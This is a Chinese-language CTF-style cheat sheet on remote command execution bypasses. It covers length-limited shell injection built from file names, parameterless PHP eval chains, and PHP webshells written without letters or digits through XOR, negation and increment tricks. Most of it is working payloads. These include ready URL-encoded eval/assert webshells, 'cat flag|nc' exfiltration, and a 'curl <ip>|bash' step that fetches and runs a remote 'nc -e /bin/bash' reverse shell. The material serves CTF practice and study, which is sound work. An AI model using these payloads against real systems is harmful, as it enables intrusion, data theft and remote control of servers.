RCE

限制长度

限长为7绕过

列题:

exec执行命令时无法回显,所以可以使用nc反弹出结果

1
2
期望执行的命令: cat flag|nc 192.168.134.128 7777
将cat flag执行的结果通过nc 提交到监听端口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
执行的命令:
>7777
>\ \\
>128\\
>134.\\
>168.\\
>192.\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\

ls -t>a

sh a

结果:

限长为5绕过

列题:

此时上一种方法不可行,ls -t>a 超过5字符

解决方法:更换期望执行的命令

1
2
curl 192.168.134.128|bash
将从192.168.134.128上获取的数据交给bash执行

命令执行过程:

1
2
3
4
准备工作:
1.开启端口监听 nc -lvp 7777
2.创建index.html文件 nc 192.168.134.128 -e/bin/bash
3.开启http.server监听端口80 python3 -m http.server 80
1
2
3
4
5
6
7
8
9
10
11
12
13
(1)先构造ls -t>y :
创建文件ls\:
>ls\\
再创建文件_,并把"ls\"写入文件_
ls>_
再创建其他文件
>\ \\
>-t\\
>\>y
用>>把所有文件名追加到文件_
ls>>_

此时 sh _ 可执行 ls -t>y
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
分解命令,创造文件(curl 192.168.134.128|bash):
>bash
>\|\\
>28\\
>1\\
>4.\\
>13\\
>8.\\
>16\\
>2.\\
>19\\
>\ \\
>rl\\
>cu\\

此时执行 sh _ (即ls -t>y)
再执行 sh y (即curl 192.168.134.128|bash)反弹shell

限长为4

ls>>_ 长度为5,上一种方法不再适用

  • 1.构造ls -t>g
  • 2.构造一个反弹shell
  • 3.反弹回来的shell查看flag

dir:按列输出文件名,不换行

*:相当于 $(dir*) 可以把第一个文件名当作命令,第二个文件名当作参数执行

rev:可以反转文件每一行的内容

1
2
3
4
准备工作:
1.开启端口监听 nc -lvp 7777
2.创建index.html文件 nc 192.168.134.128 -e/bin/bash
3.开启http.server监听端口80 python3 -m http.server 80
1
2
3
4
5
6
7
8
构造ls -t>g:
>g\>
>ht- (在-t后加上一个h,不影响命令执行但可以改变排列顺序)
>sl
>dir
*>v
>rev
*v>x *v表示模糊匹配rev v,将反转得到的ls -t>g写入x这个文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
构造反弹shell
curl 192.168.134.128|bash 十进制
curl 0xC0A88680|bash 十六进制
>ash
>b\
>\|\
>80\
>86\
>A8\
>C0\
>0x\
>\ \
>rl\
>cu\

sh x (即ls -t>g)

sh g(即curl 192.168.134.128|bash)

无参数

  • HTTP请求标头
  • 利用全局变量进行RCE
  • 利用session
  • 使用scandir()进行文件读取

请求头绕过(PHP7.3)

列题

getallheaders()函数介绍:获取所有头部信息 pos():把第一项值显示出来

1
可抓包修改头部信息为想要执行的命令进行命令执行:eval(pos(getallheaders()))

若getallheaders()无法使用,可以尝试apache_request-headers() (服务器为Apache)

全局变量RCE(PHP5/7)

get_defined_vars() 返回所有已定义变量的值,所组成的数组

1
2
3
?code=print_r(get_defined_vars());  可以获取GET提交内容
?code=print_r(end(get_defined_vars());&cmd=system('ls'); 获取system('ls');
?code=eval(end(get_defined_vars());&cmd=system('ls'); 将print_r替换为eval执行命令

session RCE(PHP5)

session_start(): 启动新会话或者重用现有会话,成功开始会话返回True,反之返回False

1
2
3
4
5
6
7
?code=print_r(session_id(session_start()));  返回PHPSESSID的值

注意这里PHPSESSID不能直接改为命令,需要将命令编码为十六进制后再用hex2bin()十六进制解码后执行:
?code=eval(hex2bin(session_id(session_start()));

?code=show_source(session_id(session_start())); 将print_r()替换为show_source,PHPSESSID改为./flag读取文件

如图:其中PHPSESSID的值:73797374656d282763617420666c616727293b 是十六进制编码后的字符串:system('cat flag');

scandir读取

scandir():类似ls,在某文件路径下,把内容以列表形式显示出来

相关函数介绍:

法一:

1
localeconv()函数得到一个第一个值为.的数组,用current()获取第一个值(.),scandir(.)获取当前目录下文件

print_r(scandir(current(localeconv()))); 获取当前目录下文件

1
2
3
观察到flag.php在数组最后,使用array_reverse()反转数组为flag.php为第一项,再次使用current()获得第一项的值(flag.php)  ,也可以直接end()直接获取最后一项的值

即:print_r(current(array_reverse(scandir(current(localeconv())))));

1
2
再将print_r()改为show_source(),读取当前文件内容
show_source(current(array_reverse(scandir(current(localeconv())))));

法二:

1
2
getcwd():获取当前文件路径
print_r(getcwd());

1
2
使用scandir()读取getcwd()获取的路径下的文件:
print_r(scandir(getcwd()));

1
2
同样的:
show_source(current(array_reverse(scandir(getcwd()))));

1
2
dirname():上一级目录
当flag不在当前页面所在目录时,可用dirname()逐步切换到上级目录,再使用scandir()进行读取,但是此时无法使用show_source读取,应为此时的命令执行任然在当前目录,无法直接读取其他目录的文件

1
2
为了避免目录不同而造成的文件读取不成功,可以使用chdir()切换命令执行路径(相当于cd)
print_r(chdir(dirname(getcwd())));

1
2
最终读取上级目录文件
show_source(end(scandir(dirname(chdir(dirname(getcwd()))))));

根目录下文件读取:

ord()和chr()函数只能对第一个字符进行转码,ord()编码,chr()解码

1
2
3
4
5
6
print_r(array());
print(serialize()); 序列化
print_r(crypt(serialize(array()))); crypt单向字符串散列加密,结果中有可能出现斜线
(/编码后是47)
print_r(chr(ord(strrev(crypt(serialize(array())))))); 此时通过不断提交获得/
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); 再用scandir()读取根目录下文件

不断提交得到根目录下文件:

1
2
3
4
5
6
7
8
9
再使用array_flip()反转键值
print_r(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

再使用array_rand()得到随机的键名
print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
不断点击得到flag的文件,也可以进行爆破

再使用show_source()读取文件
show_source(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

最终得到根目录下flag

无字母数字

异或运算

列题:

1
如: "5"^"z" -> o
1
2
3
4
5
6
7
8
例如: phpinfo
利用脚本得到异或运算第一部分为:+(+).&/
第二部分为:[@[@@@@
则phpinfo 等价于 "+(+).&/"^"[@[@@@@";$_();
但是此时不能直接命令执行,需要先利用变量赋值($_:因为要求无字母数字)后再调用,最后url编码得到payload
$_="+(+).&/"^"[@[@@@@";$_();
url编码得:
%24%5f%3d%22%2b%28%2b%29%2e%26%2f%22%5e%22%5b%40%5b%40%40%40%40%22%3b%24%5f%28%29%3b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
assert($_POST['_']);

<?php
$a='assert';
$b='_POST';
$c=$$b;
$a($c['_']);
?>

_替换a,__替换b,___替换c,并异或运算后得到:

<?php
$_="!((%)("^"@[[@[\\";
$__="!+/(("^"~{`{|";
$___=$$__;
$_($___['_']);
?>

此时只需:?cmd=$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['_']);
url编码:
?cmd=%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B'_'%5D)%3B
POST提交所需命令即可:
_=system('ls');

取反绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~(): 对括号内进行取反运算
<?php
$a='assert';
$b='_POST';
$c=$$b;
$a($c['_']);
?>

_替换a,__替换b,___替换c,并取反运算后得到:

<?php
$_=~("%9e%8c%8c%9a%8d%8b");
$__=~("%a0%af%b0%ac%ab");
$___=$$__;
$_($___['_']);
?>

此时只需:
?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___['_']);
不再需要url编码

POST提交所需命令:
_=system('ls');

自增绕过

1
2
3
4
5
6
7
8
++ 自增运算
如:$a = A; ++$a = B; 只要获得A,就能自增获得B,C,D...

获取A:
<?php
$_=[].''; 此时$_=Array
echo $_[0]; 此时获得A (但是对于无字母数字0不能写入,此时可以用一个不存在的变量代替0) -> $_[$___];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
PHP5:
<?php
$a='assert';
$b='_POST';
$c=$$b;
$a($c['_']);
?>

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$$____;$_($__[_]);
再url编码:
%24_%3D%5B%5D.''%3B%24___%3D%24_%5B%24__%5D%3B%24__%3D%24___%3B%24_%3D%24___%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24____%20%3D%20%22_%22%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24%24____%3B%24_(%24__%5B_%5D)%3B
再POST传命令:
_=system('ls');

特殊符号过滤

下划线过滤:

列题:

1
2
3
4
5
6
7
8
9
短标签:
<?php
phpinfo();
?>
等价于
<?=phpinfo();?>

GET方式提交:
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> (?>闭合前面标签) ?><?=`$_GET[%a0]`?> 取反

下划线和$符号过滤

列题:

1
2
?cmd=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%93%8c);
(call_user_func)(system,ls,'')取反

~……·&|过滤

列题:

^ ~均被过滤,所以只能使用自增绕过

1
2
由于分号被过滤了,所以使用短标签代替自增payload里的分号
如 $_=[]; 替换为 <?=$_=[]?>